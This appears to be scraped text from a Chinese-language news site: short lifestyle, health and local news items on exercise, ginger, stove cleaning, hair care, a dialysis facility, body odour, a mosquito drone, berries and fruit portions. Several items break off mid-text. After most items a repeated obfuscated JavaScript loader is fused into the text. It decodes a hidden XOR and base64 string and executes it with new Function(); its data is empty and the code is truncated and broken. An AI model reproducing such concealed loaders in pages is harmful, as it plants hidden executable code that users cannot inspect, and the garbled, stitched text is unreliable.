夏天走路大腿内侧狂流汗，两边赘肉互相摩擦又红又痛？有瑜伽教练教只需做1招超简易运动，即可极速紧致大腿内侧肌肉，从此告别闷热黏腻感与摩擦不适。 瑜伽教练教1招紧致大腿内侧 告别闷热黏腻感 据日媒《朝时间》报道，瑜伽教练高木沙织指出，大腿内侧特别容易积聚汗水，当皮肤变得潮湿黏腻，加上大腿与臀部之间的肉互相摩擦，便极易引发皮肤敏感及不适。为此，她特别推介一种简单的运动，不仅能紧致及锻炼大腿内侧肌肉，更能有效预防行路时因皮肤摩擦引起的不适：   步骤： 1.先平躺于地面，双脚并拢，膝盖弯曲踩地。 2.将双脚抬离地面，使髋关节与膝盖皆维持约90度弯曲，同时保持小腿与地面平行。 3.保持双脚脚掌互相贴合，反复进行膝盖向外开、向内合的动作，建议每次做10下，合共进行3组。 高木沙织提醒，练习时必须注意以下3大重点： 1.运动时必须维持双脚脚掌紧贴。吸气时将膝盖向外打开，吐气时则慢慢将膝盖合拢。在闭合的过程中，要刻意集中注意力，感受大腿内侧肌肉的收缩，切忌利用惯性快速开合，这样才能真正有效刺激并收紧目标肌群。 2.若在练习时发现腰部容易离开地面，建议在腰部下方垫一条折叠好的浴巾或毛毡。此举有助稳定骨盆与下背部，大幅减低腰部承受的负担。 3.初学者可待身体逐渐适应强度后，便可按个人体能状况慢慢增加训练次数，以进一步提升锻炼效果。 资料来源：《朝时间》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

生姜是日常家庭必备配料，因刺激性较强，进食过量极易过度刺激肠胃，从而引发腹痛腹泻、胃痛及“火烧心”（胃灼热）等症状。注册营养师中村真実提醒生姜作为佐料每日宜适量食用，切勿过度摄取。 生姜每日摄取量公开 过量食用易刺激胃黏膜 生姜于日常饮食中没有明确的摄取上限，但由于其刺激性强，若作为佐料使用，营养师建议每天应以 5 至 10 克为限。若切成姜片，每天大约 5 至 7 片；若使用姜蓉，大约为 1 茶匙；若是姜粉则大约为 1 至 2 克。市民于日常烹调或进食时，务必注意切勿过量食用。 姜辣素、姜烯酚具备独特保健功效 营养成分方面，每 100 克可食用部分的生姜含有 2.1 克膳食纤维，其中 9 成属于“非水溶性膳食纤维”，能增加粪便体积并促进肠道蠕动；钾含量则有 270 毫克，有助维持体内水分平衡。 此外，生姜含有丰富的辛辣成分“姜辣素”（Gingerol），特别集中于表皮附近，能扩张末梢血管并促进血液循环至手脚末端。生姜亦含有抗菌成分，因此常被用作寿司甜姜或三文鱼等刺身的配料；但单靠生姜并不完全能预防食物中毒，妥善的食品卫生管理依然不可或缺。当姜辣素经过干燥或加热后，会转化为“姜烯酚”（Shogaol），能刺激肠胃、活跃内脏机能并从身体深处产生热能。 过量食用后应及时补充温水稀释...

厨房煮食炉缝隙的陈年油污，绝对是家居清洁的“最大恶梦”！即使出动百洁布及强力清洁剂，依然难以深入死角。想彻底清走顽固焦垢，有专家教只需善用一款平价文具，不伤炉面就能秒速刮走隐藏油污，轻松还原亮白炉头。 用1文具秒清除煮食炉缝隙顽垢 据《Daily Meal》报道，煮食炉面若不每天抹拭，积聚的油污便会成为家居清洁的恶梦。煮食时溅出的油渍和食物残渣，会随时间因受热而硬化，在炉面上形成一层难以清除的碳化焦垢。若不想使用含有强烈化学成分的清洁剂，不少人会选择柠檬汁、白醋或梳打粉等天然清洁剂来去污。然而，即使是最强效的清洁用品，往往也难以彻底清除隐藏在缝隙角落的陈年油垢。 每晚彻底清洁厨房固然是好习惯，但在日常快速抹拭之外，偶尔也需要针对电磁炉边缘、或明火炉头上堵塞的食物残渣进行深度清洁。由于普通的百洁布或海绵体积较大，难以深入狭窄的缝隙，报道建议大家善用一款平价文具——“万字夹”，即可轻松清除缝隙的顽固污垢：   1.弯曲出“倒钩”秒清旋钮油渍 只要将万字夹外侧弯曲的部分拉直展开成尖头，便能当作清洁炉头的利器。这个技巧同样适用于清洁开关旋钮的周围；若将万字夹的末端屈曲成“倒钩”状，便能完美贴合圆形的旋钮边缘，沿着边缘滑动，轻松刮走积聚的黏腻污垢。 2.侧放轻划 深入极狭窄边缘 煮食炉两侧或边缘的狭窄缝隙极易藏污纳垢，只需将万字夹侧放，沿着边缘轻轻一划，便能将食物碎屑及油脂连根拔起。虽然牛油刀也能起到类似作用，但刀身通常不够纤细；相比之下，万字夹更为小巧，能轻易伸入凹槽等一般清洁工具无法触及的狭窄区域。 3.包裹纸巾防刮花 确保炉头已冷却 在开始清洁前，务必确保炉头已完全冷却。清洁时动作要轻柔，建议先将外面的污垢挑出，避免将食物残渣推入炉头更深处。若担心金属材质会刮花电磁炉或玻璃炉面，可以在万字夹尖端包裹一层纸巾。这样既能保护炉面免受刮损，又能利用万字夹的尖端刮除顽固油渍。 4.完胜牙签与旧牙刷 另一个常见的清洁妙招，是用纸巾包裹牙签来清理边缘污垢。不过，万字夹由金属制成，不会像木制牙签般脆弱容易折断。此外，不少人会用旧牙刷大扫除，虽然刷毛能清除部分污垢，但往往不够幼细和坚硬，无法真正深入最狭窄的死角。 资料来源：《Daily Meal》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

洗头后头发总是越吹越毛躁？对于白发及细软发质而言，原来风筒的过度吹干正是令发丝干枯折断的致命元凶！有专家教只需1招简单自测法，即可精准判断头发是否真正干透，甚至吹发前做的一个抗热步骤，有助头发避开高温损伤。 细软/白头发越吹越毛躁？ 据《Good Housekeeping》报道，与卷发器和直发夹相比，风筒看似对头发的热力损伤较小。然而，若使用不当，亦会在不知不觉间损害发质，尤其细软发质、熟龄发或白发族群，更容易因过度吹干而出现毛躁、折断及失去光泽等问题。三度荣获英国年度最佳发型师殊荣的Cos Sakkas指出，许多人每天都在犯一个非常普遍的吹头错误，却往往毫不自觉。 Cos Sakkas表示，使用风筒本身并不会伤害头发。事实上，吹干头发通常比自然风干更好，因为头发在湿透状态下是最脆弱的。关键在于要在头发刚干透时停止吹风。他强调，继续用风筒吹已经干透的头发才会造成热伤害。很多人以为头发还没干，其实只是已经进入过度吹干状态，两者之间只有一线之隔。他建议，在正式吹整造型前，可先快速将全头约七成吹干，把多余水分带走，再开始整理发型，这样实际吹头的时间便会大幅缩短。另外，吹头时务必从内层开始，最后才吹头顶表面的头发。 为何过度吹干会损害发质？ Cos Sakkas解释，当头发干透后，继续用风筒多吹一分钟都会带走发丝的水分。毛鳞片是每根发丝的保护外层，过度吹干会令其失去天然弹性，导致头发变得脆弱、暗淡无光，甚至容易折断。 他特别提醒，随着年龄增长，头发会变得稀疏及自然干燥，对热损伤的抵抗力亦会下降。发质细软或脆弱的人士会更快察觉到这种损伤。白发比黑发更容易因过度干燥而受损，因为白发本身较易流失水分。过度受热会令白发看起来干枯、粗糙或毛躁，失去柔顺亮泽的感觉。因此，他建议无论任何发质，在使用加热造型工具前，都必须使用抗热护发产品保护发丝。 过度吹干会影响头发生长？ 过度吹干头发更会损害头皮健康，而健康的头皮正是头发生长的最佳土壤。如果本身属于细软发质，过度吹乾造成的伤害尤其严重。头发越稀疏，热力与头皮之间的物理屏障就越少。头皮暴露在热风中会导致干燥、发炎和敏感。如同面部肌肤一样，头皮同样需要保护和护理，以避免不必要的热损伤。他建议，吹头时风筒要保持移动，喷嘴亦应与头皮保持至少15厘米的距离。 如何判断我的头发是否已经干透？ Cos Sakkas建议用手指梳理每一撮头发，感受一下是否有冰凉或潮湿的感觉，尤其是底层头发。潮湿的头发感觉会较重，而干燥的头发则较轻盈飘逸。因此，吹头时要不断检查，一旦感觉干透便应立即关掉风筒。 头发已经吹过头会有哪些征兆？ 若头发已因过度吹干而受损，通常会出现以下7大现象： 摸起来粗糙、不滑顺 像稻草般干燥 失去光泽 自然卷变得更明显 分叉增加 断发变多 容易打结、纠缠 5大护发秘诀 修复受损发质 Cos Sakkas分享了以下5大护发秘诀，有助修复干燥受损的头发： 5大护发秘诀： 温和洁净：洗头水温过热会令头发及头皮干燥，导致发丝毛躁干枯。建议以温水洗头，最后用冷水冲洗，有助闭合毛鳞片，锁住水分并保持光泽。 必用护发素：护发素带正电荷，能中和头发上的静电，减少梳理和造型时的摩擦及折断。它亦能强韧及滋养发丝，保护毛鳞片免受环境伤害。 深层滋养：每星期使用一次深层滋养发膜或免冲洗护发产品，能有效改善干燥受损问题，减少断发并抚平毛躁，恢复头发弹性。 吹头前做好抗热屏障：吹干头发前一定要喷上抗热喷雾，特别是较为脆弱干燥的发尾。此外，切忌在头发完全湿透滴水时使用高温造型工具，以免破坏头发结构。 完成造型：想要打造柔软顺滑的秀发，完成造型后可喷上护发定型喷雾，能牢牢锁住造型并呈现精致的效果。 资料来源：《Good Housekeeping》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

【星岛讯】随着素里纪念医院的新肾病护理设施启用，素里及周边社区的居民现可更方便地获得透析治疗。新肾病护理设施每星期7天运作。 这座独立肾病护理设施位于素里纪念医院院区西北角，增设21个血液透析治疗站，使院内治疗站总数增至60个，可提供的透析治疗服务增加约55%。 新肾病护理设施的总投资为8,500万元，其中部分资金来自素里医院基金会，其余款项由省府提供。 卫生厅长奥祖宜 (Josie Osborne，下图) 说：“素里及周边社区需要接受肾病治疗以维持生命的居民，将受惠于这项新设施。这是我们支援迅速增长的社区、加强素里纪念医院的医疗服务，并让省民更容易获得医疗护理服务的重要一步。” 素里纪念医院每年提供约4.2万次透析治疗。新中心启用后，预计每年透析治疗次数将增至约6.5万次。 这是让素里居民更容易获得医疗护理的整体计划的一部分。计划包括扩展社区服务、在西门菲沙大学 (SFU) 设立新医学院，以及在克洛弗代尔 (Cloverdale) 兴建新医院和卑诗癌症中心。 此外，素里纪念医院继续进行更新及扩展外科手术服务的工程。部分翻新工程已经完成，最后一间手术室的工程将于2026年展开。医院亦正扩展医学影像服务，第二部磁力共振 (MRI) 扫描仪的增设工程正在进行，工程亦包括新的病人候诊区，以及更多供病人在检查前后使用的空间。Jim Pattison门诊护理及手术中心 (Jim Pattison Outpatient Care and Surgery Centre) 亦正增设电脑断层 (CT) 扫描室，预计于2026年底完成。 这些项目延续素里纪念医院的其他投资，包括增设心导管检查室、介入放射诊疗室，以及兴建新的急症护理大楼。 (图：卑诗省府) V02  

不少注重健康与控制血糖的市民以为，只要日常饮食完全戒绝淀粉与精制糖，就不必担心体内出现糖化（Glycation）问题。台湾家庭医学科医生李思贤于 Facebook 专页“思思医师，陪你健康的好朋友”发文分享指出，许多严格控糖的人士虽然不吃淀粉，却几乎每周固定享用两次烧烤或油炸食物。事实上，糖化终产物（Advanced Glycation End Products，简称 AGEs）的形成机制比多数人想像中更为复杂，并非只有摄取糖分才会引致糖化。 糖化终产物加速器官组织硬化 影响皮肤、血管 AGEs 是一群由蛋白质、脂肪或 DNA 与糖分子在未经酵素催化下发生糖化反应后，最终形成的复杂化合物。简单而言，它是一群会令身体组织逐渐“硬化”并失去弹性的有害分子。皮肤开始失去光泽、血管壁渐渐变硬、神经传导速度变慢，以及眼睛水晶体出现混浊等老化现象，背后均有 AGEs 的参与。AGEs 分为体内自行生成的“内源性”及从食物摄取的“外源性”。食物来源的糖化负担可透过无痛的“皮肤自发萤光检测”（SAF）或抽血检测血清标记物（如 CML）来精准量化，作为评估身体老化程度的重要参考。 日常食物糖化含量以单位计量  在正常饮食情况下，人类每天从食物中摄取的 AGEs 大约介乎 16,000 至 20,000 kU（kilounits）之间。影响食物中 AGEs 含量的单一最大因素并非食物种类本身，而是烹调时的温度。以同一块鸡胸肉为例，水煮与炭烤两种方法的 AGEs...

夏天挤入车厢最怕闻到阵阵汗臭，很多人以为出汗多就会臭，但中医指出，汗水本身其实毫无味道，真正的致臭有3大原因。到底有甚么方法摆脱尴尬体臭？ 中医揭夏天体味爆发3大元凶 中医师王大元近日在其Facebook专页发文指出，夏天最令人害怕的，往往不是35°C的高温，而是当地铁车门关上、或升降机挤满人时，突然飘来一股难以忍受的体味。不少人以为体臭纯粹是因为出汗太多，但其实汗水本身几乎没有味道，真正的“元凶”是皮肤上的细菌。当汗液接触到细菌并被分解后，便会产生各种气味。每个人的体味不尽相同，当中饮食、生活习惯与个人体质更是关键因素。 王医师归纳出导致体味浓烈的3大原因：   夏天体味爆发3大元凶 1.常吃炸鸡、烧烤、麻辣火锅 中医认为，进食过多油炸、辛辣、甜食或过量饮酒，容易在体内形成脾胃湿热。这不仅会加重身体的代谢负担，更会令汗液中的代谢物增加，变相每天喂养皮肤上的细菌，令体味自然变得越来越浓烈。 2.长期熬夜、压力大 长期睡眠不足及面对巨大工作压力，容易导致肝火旺盛。除了容易生痱滋、口臭及失眠外，亦可能令体味变得更加明显。 3.年龄增长 中医认为人体肾精会随着年龄增长而逐渐减少，导致皮脂分泌失去平衡，面部、头皮及胸前容易出油。当皮脂被细菌氧化后，便容易形成俗称的“老人味”。 4招摆脱尴尬体臭 王医师强调，想要改善体味，单靠狂喷香水并不可行，首要任务是改善身体的内在环境。他分享4招摆脱尴尬体臭的方法： 4招摆脱尴尬体臭： ·减少进食油炸、烧烤、高盐高辣及甜食，并建议多喝水、多吃蔬菜水果。 ·穿着透气、吸汗的衣物，流汗后应尽快将汗水抹干或更换衣物。 ·选择具适度抑菌功效的沐浴露即可，不必每天使用强效杀菌产品，以免破坏皮肤上的“好菌”这道健康防线。 ·建议在前一天晚上睡前开始使用止汗剂，效果通常比流汗后才使用更佳。惟需注意适量使用，避免阻塞毛孔。 王医师提醒，香水或许能暂时掩盖异味，却无法掩饰不良的生活习惯。真正的体香，源自规律的作息、均衡的饮食以及健康的皮肤菌丛。在炎热的夏天，除了做好防晒和预防中暑措施，亦要多加注意个人体味，避免成为车厢内令旁人掩鼻的尴尬源头。 资料来源：中医师 王大元 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

夏日炎炎晚上长开冷气怕电费贵？有报道实测只需在床头放一件法宝，短短两小时内不但能极速降温，更能发挥抽湿作用，令房间湿度急跌3%。 夏天开冷气床头放1物 实测有感降温兼抽湿更悭电 据日媒《grapee》报道，在炎热难眠的夏夜，冷气绝对是不可或缺的救星。但不少人担心半夜长开冷气会受凉感冒，若将温度调得太高，有时又会被热醒。当室内的温度和湿度双双飙高时，空气会变得潮湿闷热，不仅令人难以入睡，更会严重影响睡眠质素。遇到这种情况，报道建议试试在床边放一个冻胶樽。冻胶樽不仅能降低周围的温度，更可透过冷凝作用吸收空气中的水分，达到抽湿效果。该报道的作者亲身进行了实测，将冻胶樽放在床边两小时，测试房间的温湿度变化：   冻胶樽抽湿降温法 步骤一：将胶樽注水并放入雪柜结冰 准备一个干净的胶樽，注入约80%至90%满的自来水，扭紧樽盖后，放入雪柜冰格冷冻。注意切勿将胶樽完全注满水，因为水结冰后体积会膨胀，太满可能会撑破胶樽。 步骤二：在枕头旁放置冻胶樽 将结冰后的胶樽放入一个铝制或不锈钢碗中，并放置于距离枕头约10至30厘米的位置。金属碗具有良好的导热性，能令人感觉更凉快；同时，金属碗能收集胶樽表面流下的冷凝水滴，毋须担心会弄湿地板或床铺。 实测结果： 实验当日正值台风逼近，且下着大雨，睡房环境极度潮湿闷热。实验开始时，室温为26.3°C，湿度高达76%。报道的作者在没有开冷气及关上房门的情况下，将冻胶樽放在枕头旁。经过短短两小时后再次测量，室温已成功降至25.2°C，湿度亦跌至73%。此时，胶樽表面布满了大量水滴，证实它有效将空气中的水分聚集起来。 经过进一步调查，发现使用循环风扇向胶樽瓶吹风可以帮助冷空气更容易在房间内循环，这可能更有效地降低室温。报道作者在进行测试时没有使用循环风扇，对于想要保持更凉爽的人来说，配合使用循环风扇，结果可能会更加显著。 《grapee》的作者坦言，起初也对一个胶樽的功效抱有怀疑，但亲身尝试后，确实感觉到睡房的空气变得较为干爽，闷热感亦明显减轻。这个方法不仅做法简单，更毋须担心昂贵的电费。虽然在酷热天气的日子，仍建议配合冷气使用，但若想提升睡眠舒适度，这个方法绝对值得一试。 资料来源：《grapee》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

全球致死人数最多的动物并非鲨鱼或毒蛇，而是传播疟疾等疾病的按蚊（Anopheles mosquito）。法国初创公司Tornyol研发一款仅重40克的自主飞行无人机LeSonar2，利用声纳搜寻蚊子，再以螺旋桨在半空击杀，作为取代杀虫剂的新方案。 LeSonar2配备32个超声波发射器及380个咪高峰，透过回声定位建立周围3D地图，即使夜间亦可侦测飞虫。系统会分析昆虫振翅频率及声纳特征，分辨蚊子与其他昆虫，减少误杀益虫。由于毋须摄影镜头，机身可保持轻巧，并设有避障功能及包覆式螺旋桨，声称可安全在人和宠物附近运作。 根据世界衞生组织统计，蚊子每年造成约70万至100万人死亡，主要传播疟疾，亦包括黄热病、登革热及寨卡病毒等疾病。Tornyol认为，无人机可主动巡逻花园、露台及露营场地，避免使用有害杀虫剂。 产品仍在开发阶段，目前续航时间仅3分钟，每次充电需30分钟。正式推出后，售价1,100美元，或可选每月50美元订阅方案。公司声称，一架无人机可覆蓋约5英亩，防蚊成本较固定式诱蚊器低100倍，甚至有望大幅降低疟疾死亡风险。 不过，专家质疑其续航力、充电时间及售价，认为在蚊患最严重、供电不足的地区，实际应用仍面对不少挑战。 图片：Tornyol T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

想抗老防晒只知道吃蓝莓？有研究发现，一种来自南美洲的“超级莓果”，其抗氧化力竟比蓝莓高出3倍，被誉为“植物界抗氧化之王”，更有护肤和护眼功效。 研究揭1种超级莓果属抗氧化之王 更有助护肤护眼 食安专家韦恩近日在其Facebook专页发文指出，源自南美洲的“马基莓”是近期备受注目的“超级莓果”。研究发现，马基莓蕴含多酚、花青素、维他命A、C、B3，以及叶酸、钾、钙等多种营养成分。其中最为人称道的，是其花青素含量冠绝天然莓果——其主要活性成分“飞燕草素”（Delphinidin）占总类黄酮达85%以上，是自然界中飞燕草素最丰富的来源之一，赋予其极高的抗氧化功效。 数据分析显示，马基莓的ORAC值（抗氧化力指标，μmol TE/100g）高达27,500。与其他常见莓果相比，其抗氧化力远超蓝莓（9,200）、蔓越莓（8,500）、巴西莓（5,500）、野樱莓（16,000）及红提子（1,800），堪称“植物界抗氧化之王”，“超级莓果”之名当之无愧。   1种超级莓果属抗氧化之王 韦恩表示，人体直接接触紫外线（UV）的部位主要是皮肤与眼睛，而马基莓恰好对这两方面均有莫大益处，是夏天防晒保养的珍贵食材： 1.保护皮肤 一项针对32名日本女性进行的双盲对照试验发现，每天补充60毫克马基莓萃取物（花青素苷≥35%），8星期后，测试者的肤色亮度与饱和度均比对照组有显著提升。此外，补充4星期后，脸部泛红斑点的面积与数量亦明显减少。 2.保护眼睛 一项研究发现，马基莓萃取物能预防眼底细胞受光照损伤，有助维持眼睛健康。另一项针对13位干眼症患者的研究亦发现，每天摄取30至60毫克马基莓萃取物，连续30天后，患者的泪液分泌量增加了约50％，大幅纾缓眼干症状。 至于食用方法，韦恩解释，由于马基莓营养丰富，极易变质发酵，这亦是其被称为“智利酒果”的原因，因此市面上难以买到新鲜果实。不过，大众可以选择市面上的“冷冻干燥马基莓粉”代替。他强调，马基莓粉的新鲜度与营养价值不仅不输鲜果，而且更为浓缩，一匙（约5至6克）的马基莓粉已等同150至180颗果实的营养。他建议夏天时可将马基莓粉加入冻牛奶或乳酪中拌匀食用，味道不仅可口，更能吸收满满的花青素，饮品呈现出的浓紫色正是天然花青素的色泽。 资料来源：食安专家韦恩 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

夏天西瓜、芒果、荔枝可以吃多少？有营养师公开15款夏季水果的“1份”真实份量，更教2招免磅重极速估算法，轻松避免吃过量水果。 营养师教15款水果正确吃法 西瓜/芒果/荔枝可以吃多少？ 营养师李宜桦在Facebook专页“好食课”发文指，天气越来越热，冰凉多汁的夏季水果纷纷登场。西瓜、菠萝、芒果、荔枝等，都是夏天极受欢迎的水果选择。她详细列出15款常见夏季水果的“1份”准确份量，教大家精明进食：   15款水果正确吃法： （注：以下资讯参考食物代换表，以1份水果约含60kcal的食用部分计算。由于水果大小及品种不同，实际数量或有差异，建议仍以重量为主要参考。） 车厘茄：可吃20至23粒（220克） 提子：可吃13粒（85克） 荔枝：可吃6至9粒（100克） 布冧（李子）：可吃4个（145克） 莲雾：可吃2个（165克） 百香果：可吃2个（140克） 奇异果：可吃1.5个（105克） 苹果：可吃1个细苹果（130克） 番石榴：可吃1个普通番石榴，或1/3个泰国大番石榴（155至160克） 梨：可吃3/4个（145克） 香蕉：可吃半条（70克） 火龙果：可吃1/4个（110克） 芒果：可吃1/5个（105克） 菠萝：可吃饭碗8分满的份量（110克） 西瓜：可吃饭碗8分满的份量（180克） 必学2招快速估算进食水果份量 李宜桦表示，由于水果大小、成熟度及品种各有不同，实际粒数仍可能出现差异，因此以重量判断最为准确。以番石榴为例，因品种与大小差异较大，1份约155至160克，相等于可食1个普通番石榴；若换作体积较大的泰国番石榴，则大约只有1/3个。 若不方便每次进食前都用磅去量度重量，李宜桦建议大家可利用日常餐具或身体部位作简单估算，例如1份大约为“饭碗8分满”的份量，而未切水果1份大约为一个拳头的大小，但进食时应掌握每日2至3份的原则，并尽量分散于一天内的不同时段食用。 每日应吃多少水果？ 水果营养丰富，吃过量或吃不够也对身体不好。本港衞生署鼓励市民，为达至饮食均衡，每日应至少摄取2份水果和3份蔬菜。 何谓1份水果？根据衞生署资料，1份水果的份量大约等于： 2个小型水果（如布冧和奇异果） 1个中型水果（如橙和苹果） 半个大型水果（如香蕉、西柚和杨桃） 半碗水果块（如西瓜、哈密瓜和蜜瓜） 半碗颗粒状水果（如提子、荔枝、车厘子和士多啤梨） 1汤匙没有添加糖或盐的干果（如提子乾和西梅干） 如何吃水果最健康有营养？ 据香港衞生署资料，水果可提供丰富的维他命及矿物质，包括维他命A及C、叶酸及钾质等，有助预防高血压、心血管病及部分癌症等。另外，水果亦含有膳食纤维，有助促进消化，预防便秘及肠道疾病。 选择及进食水果 留意6大事项 1.应进食不同种类、不同颜色的水果以摄取不同营养素。 2.新鲜水果比罐头水果、冷藏水果、干果和果汁更理想。 3.应多进食橙色或黄色水果，如橙、木瓜、芒果，因为它们含有丰富维他命A及C。 4.与原个水果比较，纯果汁的糖分含量较高，但膳食纤维量少，故建议多进食原个水果。 5.大部分水果虽属低脂食物，但紧记要减少进食加入高脂肪的食材，如水果挞、水果雪糕及加入忌廉的水果蛋糕。 6.少选择加糖的水果，如罐头糖水水果、水果甜品、加糖的干果及浓缩果汁。 资料来源：“好食课”、香港衞生署 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

